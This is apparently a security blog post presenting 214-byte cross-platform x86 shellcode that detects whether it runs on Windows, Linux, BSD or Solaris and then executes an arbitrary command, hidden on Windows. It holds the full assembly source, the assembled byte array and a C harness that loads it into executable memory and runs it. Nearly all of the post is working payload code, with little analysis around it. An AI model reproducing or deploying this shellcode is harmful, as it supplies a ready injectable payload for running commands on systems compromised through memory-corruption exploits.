Introduction

I was hoping to present here a code that would execute perfectly on 32/64-bit Linux/BSD and Windows systems derived from code discussed here

The 64-bit code will execute on all 3 systems but not 32-bit versions of BSD because the system call convention and numbers are different to 32-bit versions of Linux which could be updated but how many systems still run 32-bit? Less than 10%?

Detection

wos attempts to identify an OS running on x86 using some simple checks of segment registers, stack pointer, errors returned by system calls. It hasn’t been tested extensively but feel free to try out on some x86 based system and tell me what results you get.

It works from Windows NT up to Windows 10, Linux, FreeBSD, OpenBSD, OSX and Solaris x86.

The following isn’t entirely optimized although the windows code is derived from code by Peter Ferrie here.

Just to note, any command executed on Windows systems will be hidden.

; Execute a command ; Works on 32/64-bit versions of Windows and Linux ; ; yasm -fbin exec.asm -oexec.bin ; nasm -fbin exec.asm -oexec.bin ; ; 214 bytes ; bits 32 push esi push edi push ebx push ebp xor ecx , ecx ; ecx=0 mul ecx ; eax=0, edx=0 push eax push eax push eax push eax push eax ; setup homespace for win64 jmp l_sb ; load command get_os: pop edi ; edi=cmd, argv mov cl , 7 ; initialize cmd/argv regardless of OS push eax ; argv[3]=NULL; push edi ; argv[2]=cmd repnz scasb ; skip command line stosb ; zero terminate push edi ; argv[1]="-c", 0 scasw ; skip option stosb ; zero terminate push edi ; argv[0]="/bin//sh", 0 push esp ; save argv push edi ; save pointer to "/bin//sh", 0 inc ecx ; ignored on x64 jecxz gos_x64 ; if ecx==0 we're 64-bit ; we're 32-bit ; if gs is zero, we're native 32-bit windows mov cx , gs jecxz win_cmd ; if eax is zero after right shift of SP, ASSUME we're on windows push esp pop eax shr eax , 24 jz win_cmd ; we're 32-bit Linux mov al , 11 ; eax=sys_execve cdq pop ebx ; ebx="/bin//sh", 0 pop ecx ; ecx=argv push edx ; environment push ecx ; argv push ebx ; "/bin//sh", 0 push esp mov di , gs shr di , 8 jnz solaris_x86 int 0x80 solaris_x86: int 0x91 ; we're 64-bit, execute syscall and see what ; error returned gos_x64: mov al , 6 ; eax=sys_close for Linux/BSD push -1 pop edi syscall cmp al , 5 ; Windows 7 je win_cmd cmp al , 8 ; Windows 10 je win_cmd push 59 ; sys_execve pop eax cdq ; penv=0 pop edi ; rdi="/bin//sh", 0 pop esi ; rsi=argv syscall l_sb: jmp ld_cmd ; following code is derived from Peter Ferrie's calc shellcode ; i've modified it to execute commands win_cmd: pop eax ; eax="/bin//sh", 0 pop eax ; eax=argv pop eax ; eax="/bin//sh", 0 pop eax ; eax="-c", 0 pop ecx ; ecx=cmd pop eax ; eax=0 inc eax xchg edx , eax jz x64 push eax ; will hide push ecx ; cmd mov esi , [ fs : edx + 2fh ] mov esi , [ esi + 0ch ] mov esi , [ esi + 0ch ] lodsd mov esi , [ eax ] mov edi , [ esi + 18h ] mov dl , 50h jmp lqe bits 64 x64: mov dl , 60h mov rsi , [ gs : rdx ] mov rsi , [ rsi + 18h ] mov rsi , [ rsi + 10h ] lodsq mov rsi , [ rax ] mov rdi , [ rsi + 30h ] lqe: add edx , [ rdi + 3ch ] mov ebx , [ rdi + rdx + 28h ] mov esi , [ rdi + rbx + 20h ] add rsi , rdi mov edx , [ rdi + rbx + 24h ] fwe: movzx ebp , word [ rdi + rdx ] lea rdx , [ rdx + 2 ] lodsd cmp dword [ rdi + rax ] , 'WinE' jne fwe mov esi , [ rdi + rbx + 1ch ] add rsi , rdi mov esi , [ rsi + rbp * 4 ] add rdi , rsi cdq call rdi cmd_end: bits 32 pop eax pop eax pop eax pop eax pop eax pop ebp pop ebx pop edi pop esi ret ld_cmd: call get_os ; place command here ;db "notepad", 0xFF ; do not change anything below ;db "-c", 0xFF, "/bin//sh", 0

Test Unit

# include < stdio.h > # include < stdlib.h > # include < stdint.h > # include < string.h > # if defined ( _WIN32 ) | | defined ( _WIN64 ) # define WIN # include < windows.h > # else # include < sys/mman.h > # endif # define CMD_LEN_OFS 0x10 + 1 # define EXEC_SIZE 214 char exec [ ] = { /* 0000 */ " \x56 " /* push esi */ /* 0001 */ " \x57 " /* push edi */ /* 0002 */ " \x53 " /* push ebx */ /* 0003 */ " \x55 " /* push ebp */ /* 0004 */ " \x31 \xc9 " /* xor ecx, ecx */ /* 0006 */ " \xf7 \xe1 " /* mul ecx */ /* 0008 */ " \x50 " /* push eax */ /* 0009 */ " \x50 " /* push eax */ /* 000A */ " \x50 " /* push eax */ /* 000B */ " \x50 " /* push eax */ /* 000C */ " \x50 " /* push eax */ /* 000D */ " \xeb \x4b " /* jmp 0x5a */ /* 000F */ " \x5f " /* pop edi */ /* 0010 */ " \xb1 \x07 " /* mov cl, 0x7 */ /* 0012 */ " \x50 " /* push eax */ /* 0013 */ " \x57 " /* push edi */ /* 0014 */ " \xf2 \xae " /* repne scasb */ /* 0016 */ " \xaa " /* stosb */ /* 0017 */ " \x57 " /* push edi */ /* 0018 */ " \x66 \xaf " /* scasw */ /* 001A */ " \xaa " /* stosb */ /* 001B */ " \x57 " /* push edi */ /* 001C */ " \x54 " /* push esp */ /* 001D */ " \x57 " /* push edi */ /* 001E */ " \x41 " /* inc ecx */ /* 001F */ " \xe3 \x22 " /* jecxz 0x43 */ /* 0021 */ " \x66 \x8c \xe9 " /* mov cx, gs */ /* 0024 */ " \xe3 \x36 " /* jecxz 0x5c */ /* 0026 */ " \x54 " /* push esp */ /* 0027 */ " \x58 " /* pop eax */ /* 0028 */ " \xc1 \xe8 \x18 " /* shr eax, 0x18 */ /* 002B */ " \x74 \x2f " /* jz 0x5c */ /* 002D */ " \xb0 \x0b " /* mov al, 0xb */ /* 002F */ " \x99 " /* cdq */ /* 0030 */ " \x5b " /* pop ebx */ /* 0031 */ " \x59 " /* pop ecx */ /* 0032 */ " \x52 " /* push edx */ /* 0033 */ " \x51 " /* push ecx */ /* 0034 */ " \x53 " /* push ebx */ /* 0035 */ " \x54 " /* push esp */ /* 0036 */ " \x66 \x8c \xef " /* mov di, gs */ /* 0039 */ " \x66 \xc1 \xef \x08 " /* shr di, 0x8 */ /* 003D */ " \x75 \x02 " /* jnz 0x41 */ /* 003F */ " \xcd \x80 " /* int 0x80 */ /* 0041 */ " \xcd \x91 " /* int 0x91 */ /* 0043 */ " \xb0 \x06 " /* mov al, 0x6 */ /* 0045 */ " \x6a \xff " /* push 0xffffffff */ /* 0047 */ " \x5f " /* pop edi */ /* 0048 */ " \x0f \x05 " /* syscall */ /* 004A */ " \x3c \x05 " /* cmp al, 0x5 */ /* 004C */ " \x74 \x0e " /* jz 0x5c */ /* 004E */ " \x3c \x08 " /* cmp al, 0x8 */ /* 0050 */ " \x74 \x0a " /* jz 0x5c */ /* 0052 */ " \x6a \x3b " /* push 0x3b */ /* 0054 */ " \x58 " /* pop eax */ /* 0055 */ " \x99 " /* cdq */ /* 0056 */ " \x5f " /* pop edi */ /* 0057 */ " \x5e " /* pop esi */ /* 0058 */ " \x0f \x05 " /* syscall */ /* 005A */ " \xeb \x75 " /* jmp 0xd1 */ /* 005C */ " \x58 " /* pop eax */ /* 005D */ " \x58 " /* pop eax */ /* 005E */ " \x58 " /* pop eax */ /* 005F */ " \x58 " /* pop eax */ /* 0060 */ " \x59 " /* pop ecx */ /* 0061 */ " \x58 " /* pop eax */ /* 0062 */ " \x40 " /* inc eax */ /* 0063 */ " \x92 " /* xchg edx, eax */ /* 0064 */ " \x74 \x16 " /* jz 0x7c */ /* 0066 */ " \x50 " /* push eax */ /* 0067 */ " \x51 " /* push ecx */ /* 0068 */ " \x64 \x8b \x72 \x2f " /* mov esi, [fs:edx+0x2f] */ /* 006C */ " \x8b \x76 \x0c " /* mov esi, [esi+0xc] */ /* 006F */ " \x8b \x76 \x0c " /* mov esi, [esi+0xc] */ /* 0072 */ " \xad " /* lodsd */ /* 0073 */ " \x8b \x30 " /* mov esi, [eax] */ /* 0075 */ " \x8b \x7e \x18 " /* mov edi, [esi+0x18] */ /* 0078 */ " \xb2 \x50 " /* mov dl, 0x50 */ /* 007A */ " \xeb \x17 " /* jmp 0x93 */ /* 007C */ " \xb2 \x60 " /* mov dl, 0x60 */ /* 007E */ " \x65 \x48 " /* dec eax */ /* 0080 */ " \x8b \x32 " /* mov esi, [edx] */ /* 0082 */ " \x48 " /* dec eax */ /* 0083 */ " \x8b \x76 \x18 " /* mov esi, [esi+0x18] */ /* 0086 */ " \x48 " /* dec eax */ /* 0087 */ " \x8b \x76 \x10 " /* mov esi, [esi+0x10] */ /* 008A */ " \x48 " /* dec eax */ /* 008B */ " \xad " /* lodsd */ /* 008C */ " \x48 " /* dec eax */ /* 008D */ " \x8b \x30 " /* mov esi, [eax] */ /* 008F */ " \x48 " /* dec eax */ /* 0090 */ " \x8b \x7e \x30 " /* mov edi, [esi+0x30] */ /* 0093 */ " \x03 \x57 \x3c " /* add edx, [edi+0x3c] */ /* 0096 */ " \x8b \x5c \x17 \x28 " /* mov ebx, [edi+edx+0x28] */ /* 009A */ " \x8b \x74 \x1f \x20 " /* mov esi, [edi+ebx+0x20] */ /* 009E */ " \x48 " /* dec eax */ /* 009F */ " \x01 \xfe " /* add esi, edi */ /* 00A1 */ " \x8b \x54 \x1f \x24 " /* mov edx, [edi+ebx+0x24] */ /* 00A5 */ " \x0f \xb7 \x2c \x17 " /* movzx ebp, word [edi+edx] */ /* 00A9 */ " \x48 " /* dec eax */ /* 00AA */ " \x8d \x52 \x02 " /* lea edx, [edx+0x2] */ /* 00AD */ " \xad " /* lodsd */ /* 00AE */ " \x81 \x3c \x07 \x57 \x69 \x6e \x45 " /* cmp dword [edi+eax], 0x456e6957 */ /* 00B5 */ " \x75 \xee " /* jnz 0xa5 */ /* 00B7 */ " \x8b \x74 \x1f \x1c " /* mov esi, [edi+ebx+0x1c] */ /* 00BB */ " \x48 " /* dec eax */ /* 00BC */ " \x01 \xfe " /* add esi, edi */ /* 00BE */ " \x8b \x34 \xae " /* mov esi, [esi+ebp*4] */ /* 00C1 */ " \x48 " /* dec eax */ /* 00C2 */ " \x01 \xf7 " /* add edi, esi */ /* 00C4 */ " \x99 " /* cdq */ /* 00C5 */ " \xff \xd7 " /* call edi */ /* 00C7 */ " \x58 " /* pop eax */ /* 00C8 */ " \x58 " /* pop eax */ /* 00C9 */ " \x58 " /* pop eax */ /* 00CA */ " \x58 " /* pop eax */ /* 00CB */ " \x58 " /* pop eax */ /* 00CC */ " \x5d " /* pop ebp */ /* 00CD */ " \x5b " /* pop ebx */ /* 00CE */ " \x5f " /* pop edi */ /* 00CF */ " \x5e " /* pop esi */ /* 00D0 */ " \xc3 " /* ret */ /* 00D1 */ " \xe8 \x39 \xff \xff \xff " /* call 0xf */ } ; // save code to binary file void bin2file ( uint8_t bin [ ] , size_t len ) { FILE * out = fopen ( " sh_cmd.bin " , " wb " ) ; if ( out ! = NULL ) { fwrite ( bin , 1 , len , out ) ; fclose ( out ) ; } } // allocate read/write and executable memory // copy data from code and execute void xcode ( void * code , size_t code_len , char * cmd , size_t cmd_len ) { void * bin ; uint8_t * p ; char args [ ] = " \xFF -c \xFF /bin//sh \x00 " ; size_t arg_len ; arg_len = strlen ( args ) + 1 ; printf ( " [ executing code...

" ) ; # ifdef WIN bin = VirtualAlloc ( 0 , code_len + cmd_len + arg_len , MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; # else bin = mmap ( 0 , code_len + cmd_len + arg_len , PROT_EXEC | PROT_WRITE | PROT_READ , MAP_ANON | MAP_PRIVATE , - 1 , 0 ) ; # endif if ( bin ! = NULL ) { p = ( uint8_t * ) bin ; memcpy ( p , code , code_len ) ; // set the cmd length p [ CMD_LEN_OFS ] = ( uint8_t ) cmd_len ; // copy cmd memcpy ( ( void * ) & p [ code_len ] , cmd , cmd_len ) ; // copy argv memcpy ( ( void * ) & p [ code_len + cmd_len ] , args , arg_len ) ; //DebugBreak(); bin2file ( bin , code_len + cmd_len + arg_len ) ; // execute ( ( void ( * ) ( ) ) bin ) ( ) ; # ifdef WIN VirtualFree ( bin , code_len + cmd_len + arg_len , MEM_RELEASE ) ; # else munmap ( bin , code_len + cmd_len + arg_len ) ; # endif } } int main ( int argc , char * argv [ ] ) { size_t len ; char * cmd ; if ( argc ! = 2 ) { printf ( "

usage: xcmd <command>

" ) ; return 0 ; } cmd = argv [ 1 ] ; len = strlen ( cmd ) ; if ( len = = 0 | | len > 255 ) { printf ( "

invalid command length: %i (must be between 1 and 255) " , len ) ; return 0 ; } xcode ( exec , EXEC_SIZE , cmd , len ) ; return 0 ; }

See exec.asm here for code and any future updates.